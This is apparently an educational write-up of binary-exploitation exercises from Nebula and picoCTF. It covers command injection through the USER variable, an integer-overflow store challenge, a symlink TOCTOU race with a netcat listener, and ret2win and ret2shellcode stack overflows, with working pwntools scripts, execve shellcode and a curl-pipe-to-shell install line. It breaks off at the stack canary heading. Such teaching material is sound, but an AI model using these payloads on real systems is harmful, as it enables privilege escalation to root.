Table of Contents:


0x1 - Command Injection

Command injection is not vulnerability we see only in web apps but its in every application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//https://exploit.education/nebula/level-02/

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);

system(buffer);
}

If we compile it using gcc -o main main.c and run it.

1
2
3
4
5
6
ls -la
total 28
drwxrwxr-x 2 at0m at0m 4096 Jun 26 16:11 .
drwxr-xr-x 5 at0m at0m 4096 Jun 26 16:11 ..
-rwsr-xr-x 1 root root 16304 Jun 26 16:11 main
-rw-rw-r-- 1 at0m at0m 444 Jun 26 16:11 main.c

main file has ownership of root so if we could get to run command injection from main file we will be running our command as root.

1
2
3
❯ ./main                           
about to call system("/bin/echo at0m is cool")
at0m is cool

As we can see it just run system function to print our username. We want to run our command instead of system command.

1
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));

In above line of code we can see it dynamically creates a string in buffer that runs /bin/echo <username> is cool using the current user’s name from the environment.

So the only way we can change anything is from USER variable we can change it by running export USER=hacker in our Linux machine. Now if we run it will say:

1
2
3
❯ ./main
about to call system("/bin/echo hacker is cool")
hacker is cool

We know in Linux we can use ; to run multiple commands like:

1
2
3
id;ls   
uid=1000(at0m) gid=1000(at0m) groups=1000(at0m),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),105(lpadmin),125(sambashare),128(docker)
main main.c

It ran id then after this it ran ls command. So if we could put ; in our USER variable like ';id;#' it will run this command as root.

We used ; to separate commands, so by setting USER to something like ';id;#', the injected command becomes:

1
/bin/echo ';id;# is cool'

We used # as it is used to comment out the rest.

1
2
3
4
5
6
export USER=';id;#'

❯ ./main
about to call system("/bin/echo ;id;# is cool")

uid=0(root) gid=1000(at0m) groups=1000(at0m),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),105(lpadmin),125(sambashare),128(docker)

Like this we can run our command as root. If we want shell we can use this ';zsh -i;#'

1
2
3
4
5
6
7
export USER=';zsh -i;#'

❯ ./main
about to call system("/bin/echo ;zsh -i;# is cool")
<SNIP>
whoami
root

Writing the exploit we did in Python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python3

from pwn import *

# Set USER environment variable to inject commands
env = {'USER': 'zsh -i;#'}

# Start a bash process with the injected environment
io = process('bash', env=env)

# Send the command to run your file
io.sendline('./file')

# Give interactive control to the user
io.interactive()

0x2 - Integer Overflow

1
2
3
4
5
6
7
8
#include <stdio.h>

int main(){
int num = 2147483647;
printf("%d\n",num+1);
return 0;

}

Here is simple code that adds 1 in 2147483647. Running it should give 2147483648 but:

1
2
❯ ./file            
-2147483648

The reason you get -2147483648 instead of 2147483648 is because the int data type in C is a 32-bit signed integer with a maximum value of 2147483647. When you add 1 to this maximum, it causes an integer overflow, which wraps around to the minimum value -2147483648 due to how signed integers are represented in two’s complement form. This overflow behavior leads to unexpected negative results instead of the mathematically correct larger number.

If we add 10 instead of 1.

1
2
3
4
5
6
7
8
#include <stdio.h>

int main(){
int num = 2147483647; // -2147483647
printf("%d\n",num+10);
return 0;

}
1
-2147483647 + 10 = -2147483639

As we expected we get this.

1
2
❯ ./file 
-2147483639

Like this if we add 2147483647 in it it will look something like this:

1
-2147483647 + 2147483647 = 0

Think of the int like a car’s odometer that can only show up to 999,999 miles. When the car hits 999,999 and goes one mile further, the odometer “rolls over” back to 000,000. Similarly, when a 32-bit signed integer hits its maximum value (2,147,483,647) and you add 1, it wraps around to its minimum value (-2,147,483,648) due to overflow, just like the odometer rolling over instead of continuing to a larger number.

simpsons.gif

Let’s now look at challenge.

File: Here

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
// https://play.picoctf.org/practice/challenge/49?category=5&page=3

#include <stdio.h>
#include <stdlib.h>
int main()
{
setbuf(stdout, NULL);
int con;
con = 0;
int account_balance = 1100;
while(con == 0){

printf("Welcome to the flag exchange\n");
printf("We sell flags\n");

printf("\n1. Check Account Balance\n");
printf("\n2. Buy Flags\n");
printf("\n3. Exit\n");
int menu;
printf("\n Enter a menu selection\n");
fflush(stdin);
scanf("%d", &menu);
if(menu == 1){
printf("\n\n\n Balance: %d \n\n\n", account_balance);
}
else if(menu == 2){
printf("Currently for sale\n");
printf("1. Defintely not the flag Flag\n");
printf("2. 1337 Flag\n");
int auction_choice;
fflush(stdin);
scanf("%d", &auction_choice);
if(auction_choice == 1){
printf("These knockoff Flags cost 900 each, enter desired quantity\n");

int number_flags = 0;
fflush(stdin);
scanf("%d", &number_flags);
if(number_flags > 0){
int total_cost = 0;
total_cost = 900*number_flags;
printf("\nThe final cost is: %d\n", total_cost);
if(total_cost <= account_balance){
account_balance = account_balance - total_cost;
printf("\nYour current balance after transaction: %d\n\n", account_balance);
}
else{
printf("Not enough funds to complete purchase\n");
}


}




}
else if(auction_choice == 2){
printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
printf("Enter 1 to buy one");
int bid = 0;
fflush(stdin);
scanf("%d", &bid);

if(bid == 1){

if(account_balance > 100000){
FILE *f = fopen("flag.txt", "r");
if(f == NULL){

printf("flag file not found\n");
exit(0);
}
char buf[64];
fgets(buf, 63, f);
printf("YOUR FLAG IS: %s\n", buf);
}

else{
printf("\nNot enough funds for transaction\n\n\n");
}}

}
}
else{
con = 1;
}

}
return 0;
}

It is a program that will give us flag only when our account balance is greater than 100000 but we don’t have enough money. So we somehow have to increase our balance using integer overflow since its pointless to do normally.

The only place where account_balance is being modified is at this line of code:

1
account_balance = account_balance - total_cost;

If we put some negative number in total_cost it will be like this:

1
account_balance = 1100 - -10 // Becomes positive 1110

Now that if we look at above we code we can see that total_cost is calculated from:

1
total_cost = 900 * number_flags;

Here’s where integer overflow comes in. Since total_cost is an int, it has a maximum value (INT_MAX), which is 2147483647 for 32-bit signed integers. If we input a very large value for number_flags, say around 2386093, this multiplication will overflow and cause total_cost to become a negative number due to wraparound.

Since total_cost is already being multiplied by our number of flags with 900 we can put number_flags as 2388092.

1
total_cost = 900 * 2388092 = 2149282800

That value is greater than INT_MAX (which is 2,147,483,647), so it overflows. On overflow, total_cost wraps around into a negative number -2149282800

1
account_balance = 1100 - (-2149282800) 

That negative total_cost will then be subtracted from account_balance, causing our balance to jump way up. Once that happens, we can pass the check:

1
if(account_balance > 100000)

and successfully buy the 1337 flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ ./store
Welcome to the flag exchange
We sell flags

1. Check Account Balance

2. Buy Flags

3. Exit

Enter a menu selection
2
Currently for sale
1. Defintely not the flag Flag
2. 1337 Flag
1
These knockoff Flags cost 900 each, enter desired quantity
2388092

The final cost is: -2145684496

Your current balance after transaction: 2145685596

0x3 - Race Condition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
//https://exploit.education/nebula/level-10/

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
char *file;
char *host;

if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}

file = argv[1];
host = argv[2];

if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];

printf("Connecting to %s:18211 .. ", host); fflush(stdout);

fd = socket(AF_INET, SOCK_STREAM, 0);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);

if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}

#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE

printf("Connected!\nSending file .. "); fflush(stdout);

ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}

rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

write(fd, buffer, rc);

printf("wrote file!\n");

} else {
printf("You don't have access to %s\n", file);
}
}

gcc race.c -o race

1
2
3
4
5
6
7
ls -la    
total 36
drwxrwxr-x 2 at0m at0m 4096 Jun 26 17:34 .
drwxrwxr-x 21 at0m at0m 4096 Jun 26 17:03 ..
-rw------- 1 root root 19 Jun 26 17:03 flag.txt
-rwsr-xr-x 1 root root 17416 Jun 26 17:03 race
-rw-rw-r-- 1 root root 1752 Jun 26 17:03 race.c

We can see that only root can read flag.txt. We need to somehow exploit race file to read flag.txt.

1
2
3
❯ ./race      
./race file host
sends file to host if you have access to it

We can send file but only if we have access to it. So we can’t directly use it to read flag thats why I created a readable.txt file and we are sending it to ourself.

1
2
❯ ./race readable.txt 127.0.0.1
Connecting to 127.0.0.1:18211 .. Unable to connect to host 127.0.0.1

We get error since we haven’t started our listener on port 18211 in which its trying to send.

list.png

We can read the file content from our listener port now. So we somehow need to exploit program to read ourself that flag.txt file which is currently readable by root. First reading source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
//https://exploit.education/nebula/level-10/

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
char *file;
char *host;

if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}

file = argv[1];
host = argv[2];

if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];

printf("Connecting to %s:18211 .. ", host); fflush(stdout);

fd = socket(AF_INET, SOCK_STREAM, 0);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);

if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}

#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE

printf("Connected!\nSending file .. "); fflush(stdout);

ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}

rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

write(fd, buffer, rc);

printf("wrote file!\n");

} else {
printf("You don't have access to %s\n", file);
}
}

This program contains a critical Time-of-Check to Time-of-Use (TOCTOU) race condition vulnerability, which allows an attacker to bypass file permission checks and read restricted files like flag.txt that are only accessible by root. The issue arises because the program first verifies file access permissions using access() and later opens the file with open(), creating a small but exploitable time gap between these two operations. During this brief window, an attacker can manipulate the filesystem to trick the program into reading a file they shouldn’t have access to.

First we will create a harmless file we control link.txt and set up a symbolic link to fake_flag.txt pointing to it. When program runs it checks permission of race and sees that it points to link.txt which is accessible and proceeds. But right after the access() check but before the open() call, we can quickly changes the symlink to point to flag.txt. If timed correctly, program will open and read the restricted flag file, sending its contents to a remote listener.

To automate this race, the attacker runs a loop that repeatedly switches the symlink between the fake file and the real flag, increasing the chances of winning the race condition. Meanwhile, a netcat listener waits to receive the stolen flag data. This attack succeeds because Unix file operations are not atomic meaning there’s no guarantee that the file being checked is the same one being opened.
Thats why its called race condition. We are racing against the process.

Modern Linux systems have protections against classic TOCTOU (Time-of-Check-to-Time-of-Use) attacks, particularly those involving symbolic link races but this doesn’t mean race condition doesn’t work nowdays if you look at latest CVEs, there are many with race condition its just that this particular technique doesn’t work.

We can use simple bash script to do it.

1
while true; do ln -sf flag.txt link.txt; ln -sf fake_flag.txt link.txt; done &  

& is used to run process in background. If we now check the file we can see its symlink is constantly being changed.

1
2
ls -la
lrwxrwxrwx 1 at0m at0m 13 Jun 26 20:44 link.txt -> fake_flag.txt
1
2
ls -la
lrwxrwxrwx 1 at0m at0m 13 Jun 26 20:44 link.txt -> flag.txt

After doing this do same step like running the race file with link.txt using command ./race link.txt 127.0.0.1 and receiving from another tab using netcat. Use nc -knvlp 18211, we use k flag as we want netcat to not close the connection after getting one request as we have to perform it multiple times for results to appear. If you don’t get flag.txt contents the first time you will have to run this command ./race link.txt 127.0.0.1 again and after 3-4 tries it will work.

race-condition.jpg

To prevent such exploits, developers should avoid using access() for security checks. Instead, they should directly open the file and handle permission errors afterward, or use atomic filesystem operations where possible.

0x4 - Stack Overflow

Many people confuse stack and buffer overflow as same things but stack overflow is part of Buffer overflow. Buffers means a temporary memory where we can store any data. Before understanding about stack overflow we need to understand what stack is.

When we run a program it turns into process. When process code runs in RAM. Every process has its certain memory region called memory map. It mainly has 4 parts:

Application

The application section contains the actual executable code and static data, including the machine instructions in the .text segment, initialized global variables in .data, read-only constants in .rodata, and zero-initialized variables in .bss. This area is typically read-only to prevent accidental code modification.

Heap

Next comes the heap, a dynamically managed memory region that grows upward toward higher addresses. Programs use the heap for runtime memory allocation through functions like malloc() or new, making it susceptible to heap-based buffer overflows if proper bounds checking isn’t enforced. Unlike the stack, heap memory persists until explicitly freed, leading to potential memory leaks if not managed carefully. Use the heap for large or dynamic data that must outlive a function or has an unknown size. Example: int* arr = malloc(100 * sizeof(int)); (manual cleanup required with free()). You can ask operating system to increase your heap size.

Libraries

The libraries section houses shared and static libraries, such as libc, which provide essential functions to the program. These shared libraries are loaded once but used across multiple processes to optimize memory usage. However, insecure library functions (like strcpy or gets) can introduce vulnerabilities if they allow unchecked buffer operations.

Stack

Finally, the stack plays a critical role in function execution and local variable storage. It grows downward toward lower addresses and manages function call frames, return addresses, arguments, and local variables. Use the stack for small, short-lived data like local variables and function calls it’s fast but limited in size. Example: int x = 10; (freed automatically when the function ends). Its fixed static size.

memory-layout.jpg

Do Stack Overflow module from HackTheBox Academy for depth.

Stack Overflow Ret2Win

In a ret2win challenge, you’re given a compiled binary where there’s a function usually named ret2win() that you are not supposed to be able to reach directly. Your goal is to exploit a buffer overflow to overwrite the return address on the stack and redirect execution to this hidden or unused function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void win() {
puts("\033[1;31m[+] PWNED!!!\033[0m");
execl("/bin/sh", "sh", "-c", "/bin/sh", (char *)0);
}

void init() {
gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
}

int main() {
init();
int number = 8;
char buff[30];
printf("Enter Your Name - ");
gets(buff);
printf("Value Of Number Is - %x\n",number);
return 0;
}

gcc ret2win.c -o ret2win -no-pie -fno-stack-protector

1
2
3
4
ls -la
drwxrwxr-x 2 at0m at0m 4096 Jun 26 21:13 .
drwxrwxr-x 21 at0m at0m 4096 Jun 26 17:03 ..
-rwxr-xr-x 1 root root 17048 Jun 26 17:03 ret2win
1
2
3
4
5
6
7
❯ ./ret2win
Enter Your Name - at0m
Value Of Number Is - 8

❯ ./ret2win
Enter Your Name - hacker
Value Of Number Is - 8

Trying classic hacker move spamming.

1
2
3
4
❯ ./ret2win
Enter Your Name - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Value Of Number Is - 41414141
[2] 523390 segmentation fault (core dumped) ./ret2win

We got segmentation fault error which means we are trying to access to memory address that doesn’t exist. We also see value of number is 41414141 . The value 41414141 shown in the output is the hexadecimal representation of the characters 'AAAA'. When the program reads the input and stores it in a buffer without proper bounds checking, the excessive 'A's begin to overwrite adjacent memory, including saved registers or return addresses. We can confirm that it has stack overflow.

Let’s view it in GDB first and then using pwndbg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010b0 puts@plt
0x00000000004010c0 setresuid@plt
0x00000000004010d0 setresgid@plt
0x00000000004010e0 printf@plt
0x00000000004010f0 geteuid@plt
0x0000000000401100 gets@plt
0x0000000000401110 getegid@plt
0x0000000000401120 execl@plt
0x0000000000401130 _start
0x0000000000401160 _dl_relocate_static_pie
0x0000000000401170 deregister_tm_clones
0x00000000004011a0 register_tm_clones
0x00000000004011e0 __do_global_dtors_aux
0x0000000000401210 frame_dummy
0x0000000000401216 win
0x0000000000401259 init
0x00000000004012a6 main
0x0000000000401310 __libc_csu_init
0x0000000000401380 __libc_csu_fini
0x0000000000401388 _fini

These are all functions in the program since its ret2win challenge we know we need to return win() function which has our flag.

Install it via this command:

1
curl -qsL 'https://install.pwndbg.re' | sh -s -- -t pwndbg-gdb

pwn.png

Now if we run it we see when we press enter we get this:

pwn2.png

In above we see that in address <main+91> it tries to return the address <0x4141414141414141> but its not the real address its the address that we have putted by spamming a bunch of A. So theoretically if we could put address of win() function it would point there and we should be able to get flag. But we don’t yet know exactly how many As it takes to reach the return address (RIP). Right now, we’re just blindly smashing the stack with As, and while we do see that the return address becomes something like 0x4141414141414141 (which is 'A' in hex), this isn’t precise enough for a real exploit.

To take control of program execution, we need to know the exact point at which our input starts overwriting the return address. This offset is crucial too few As and we don’t reach RIP, too many and we overwrite it incorrectly. Our next step is to use a technique like a cyclic pattern (cyclic sequence), which generates a unique string where every offset is distinguishable. When the program crashes, we can look at the value in RIP and trace it back to the exact position in the input. Once we know the offset, we can replace that part of our payload with the actual address of the win() function.

We can put this value to create distinguishable address:

1
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO

pwn3.png

As we can see when we run it we get Invalid address0x7f004f4f4f4f. At end we got 4f in we unhex it.

1
2
pwndbg> python print(bytes.fromhex("4f").decode())
O

This confirms that the crash occurred right when the program tried to return to the address we filled with OOOO. That means our input reached and overwrote the return address with the bytes for OOOO.so if we put the address of win() function instead of OOOO it should give us flag. Now we can control address.

First Let’s get offset value. In a buffer overflow, the offset is the exact number of bytes (or characters) it takes to reach and overwrite the return address on the stack.

1
2
pwndbg> python print(len('AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN'))
56

So offset is 56 bytes. From above gdb command we had the address of win function which was 0x0000000000401216 but we cant directly but it like this:

1
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN0x0000000000401216

You can’t simply append the address of the win() function as a plain string like "0x0000000000401216" because memory and the CPU expect addresses in a binary format, not as readable text. Endianness is the order in which bytes are stored in memory to represent multi-byte data like integers or addresses. In little-endian systems, the least significant byte (the “smallest” part) is stored at the lowest memory address first, meaning the bytes are arranged from smallest to largest. In contrast, big-endian systems store the most significant byte first at the lowest memory address, arranging bytes from largest to smallest. For example, the 4-byte number 0x12345678 would be stored as 78 56 34 12 in little-endian, but as 12 34 56 78 in big-endian. So our payload should be in little-endian format which is just reverse of address. Our current address is 0x0000000000401216 now in little-endian format just reverse it \x16\x12\x40\x00\x00\x00\x00\x00. So our payload will be:

1
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN\x16\x12\x40\x00\x00\x00\x00\x00 

Lets run it.

1
2
3
4
❯ ./ret2win
Enter Your Name - AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN\x16\x12\x40\x00\x00\x00\x00\x00
Value Of Number Is - 4c4c4c4c
[1] 5277 segmentation fault (core dumped) ./ret2win

We got an error because when we typed the payload manually with \x16\x12\x40..., the program read those characters literally as the text \, x, 1, 6, and so on instead of interpreting them as the raw binary bytes for the address. To fix this, we need to send the actual byte values, for example by using echo -e or a script that sends the binary data correctly.

1
2
3
echo -e 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN\x16\x12\x40\x00\x00\x00\x00\x00' | ./ret2win
Enter Your Name - Value Of Number Is - 4c4c4c4c
[+] PWNED!!!

And we PWNED the program since I am running this program locally we won’t get flag. But we don’t want flag only we want whole shell as root. It would be more fun than just flag. Its not like we didn’t got shell we got it but it exits immediately. So to receive it and run we can run this payload:

1
(echo -e 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN\x16\x12\x40\x00\x00\x00\x00\x00'; cat) | ./ret2win
1
2
3
4
5
❯ (echo -e 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN\x16\x12\x40\x00\x00\x00\x00\x00'; cat) | ./ret2win
Enter Your Name - Value Of Number Is - 4c4c4c4c
[+] PWNED!!!
id
uid=0(root) gid=1000(at0m) groups=1000(at0m),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),105(lpadmin),125(sambashare),128(docker)

Now writing exploit in Python. Its more easier and we don’t have to do that cat thing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3 

from pwn import *

# Load the binary so we can access symbols like 'win'
elf = ELF('ret2win')

# Start the process locally
io = process('ret2win')

# Create payload:
# cyclic(56) generates 56 bytes padding to reach return address (offset)
# p64 packs the address of 'win' function in little-endian 8-byte format
payload = cyclic(56) + p64(elf.sym.win)

# Send the payload to the program
io.sendline(payload)

# Give control to user for interactive shell/session after exploit runs
io.interactive()

Stack Overflow Ret2Shellcode

In real world we won’t have win() function that will give us shell. We have to get shell often using this method.

1
2
ls -la ret2shellcode                                      
-rwsrwxr-x 1 root root 17496 Jun 26 17:03 ret2shellcode

Shellcode is a small, low-level piece of code injected into a program to gain control, often spawning a shell for command execution. It directly injects into memory so it doesn’t need to be compiled. Its in little-endian format. Even assembly language is considered a higher-level representation than shellcode. Shellcode, on the other hand, is the raw machine code bytes (binary instructions) that the CPU executes directly.

1
2
3
❯ ./ret2shellcode
We have just fixed the plumbing systm, let's hope there's no leaks!
>.> aaaaah shiiit wtf is dat address doin here... 0x7ffdcc65b0a0

As we can see its currently leaking address which can be very harmful. First we have to run again to check if the address that we are getting is static or randomized.

1
2
3
❯ ./ret2shellcode
We have just fixed the plumbing systm, let's hope there's no leaks!
>.> aaaaah shiiit wtf is dat address doin here... 0x7ffc2ed07f60

So it’s randomized since address are different. But first let’s find out whats this address is of. Viewing its functions in pwndbg.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001030 setvbuf@plt
0x0000000000001040 std::basic_ostream<char, std::char_traits<char> >::operator<<(void const*)@plt
0x0000000000001050 __cxa_atexit@plt
0x0000000000001060 std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt
0x0000000000001070 std::basic_ostream<char, std::char_traits<char> >::operator<<(std::basic_ostream<char, std::char_traits<char> >& (*)(std::basic_ostream<char, std::char_traits<char> >&))@plt
0x0000000000001080 read@plt
0x0000000000001090 std::ios_base::Init::Init()@plt
0x00000000000010a0 _start
0x00000000000010d0 deregister_tm_clones
0x0000000000001100 register_tm_clones
0x0000000000001140 __do_global_dtors_aux
0x0000000000001190 frame_dummy
0x0000000000001199 main
0x0000000000001296 __static_initialization_and_destruction_0(int, int)
0x00000000000012df _GLOBAL__sub_I_main
0x0000000000001300 __libc_csu_init
0x0000000000001370 __libc_csu_fini
0x0000000000001378 _fini

This code is definitely of C++ as it has this ugly syntax. If we run command disassemble main it will give us assembly of main function.

pwn4.png

Setting up breakpoint at return address of main function which is main+252

1
2
3
4
5
6
7
8
9
10
11
pwndbg> break main+252
Function "main+252" not defined.
pwndbg> break *main+252
Breakpoint 1 at 0x1295
pwndbg> run
Starting program: /home/at0m/ret2shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
We have just fixed the plumbing systm, let's hope there's no leaks!
>.> aaaaah shiiit wtf is dat address doin here... 0x7fffb97349a0
AAAABBBBCCCCDDDDEEEEFFFF

After giving input AAAABBBBCCCCDDDDEEEEFFFF we can also examine the address that we currently are shown in program which is 0x7fffb97349a0. If we examine it as string in pwngdb using command x/s.

1
2
pwndbg> x/s 0x7fffb97349a0
0x7fffb97349a0: "AAAABBBBCCCCDDDDEEEEFFFF\nJs\271\377\177"

We can see its the address of our input. Lets put a bunch of values to check whether it has stack overflow or not. We can use command cyclic for it to get a specific pattern of payload rather than typing it out.

1
2
pwndbg> cyclic 120
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaa
1
2
3
4
5
6
7
pwndbg> r
Starting program: /home/at0m/ret2shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
We have just fixed the plumbing systm, let's hope there's no leaks!
>.> aaaaah shiiit wtf is dat address doin here... 0x7ffd774ceba0
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaa

pwn5.png

We can see that stack has been overflowed and address has been put to 0x6161616161616166 we can copy 8 bytes 0x6161616161616166 and unhex it which is aaaaaaaf but since its in little-endian format in memory it will be faaaaaaa. We can run this command to get offset. -n specifies size which is 8 bytes.

1
2
3
pwndbg> cyclic -l faaaaaaa -n 8
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

We have our offset at 40. It takes exactly 40 bytes of input to reach the return address (RIP) on the stack. So 41st byte onwards we will start overwriting the return address. To confirm it we can do this:

1
2
3
4
5
6
7
8
9
pwndbg> cyclic 40
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaa
pwndbg> r
Starting program: /home/at0m/ret2shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
We have just fixed the plumbing systm, let's hope there's no leaks!
>.> aaaaah shiiit wtf is dat address doin here... 0x7fffc33b24a0
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaaBBBB

pwn6.png

We can either see from its address which is 42 which means B or we can just look at RSP and see BBBB there.

We can’t have shell code more than 40 bytes. We can this shell code from here. Since this shell code is of 24 bytes we will need to add other 16 bytes of junk to fill the space. You can read this shellcode assembly from the link.

1
\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05

Exploit in Python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3

from pwn import *

# Load the ELF binary
elf = context.binary = ELF('./ret2shellcode')

# Start the local process
io = process()

# Wait for the leaked stack address (assuming program prints it like: "... 0x7fffd...")
io.recvuntil(b'... ')
leak = int(io.recv(14), 16) # Read 14-byte hex string and convert to integer

# Classic 24-byte /bin/sh shellcode for execve syscall
shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"

# Construct the payload:
# [ shellcode ][ padding to reach RIP ][ leaked address (return to shellcode) ]
payload = shellcode + cyclic(16) + pack(leak)

# Send the payload to the program
io.sendline(payload)

# Open interactive session to use the shell if exploit is successful
io.interactive()

Stack Overflow Protections

Stack Canary

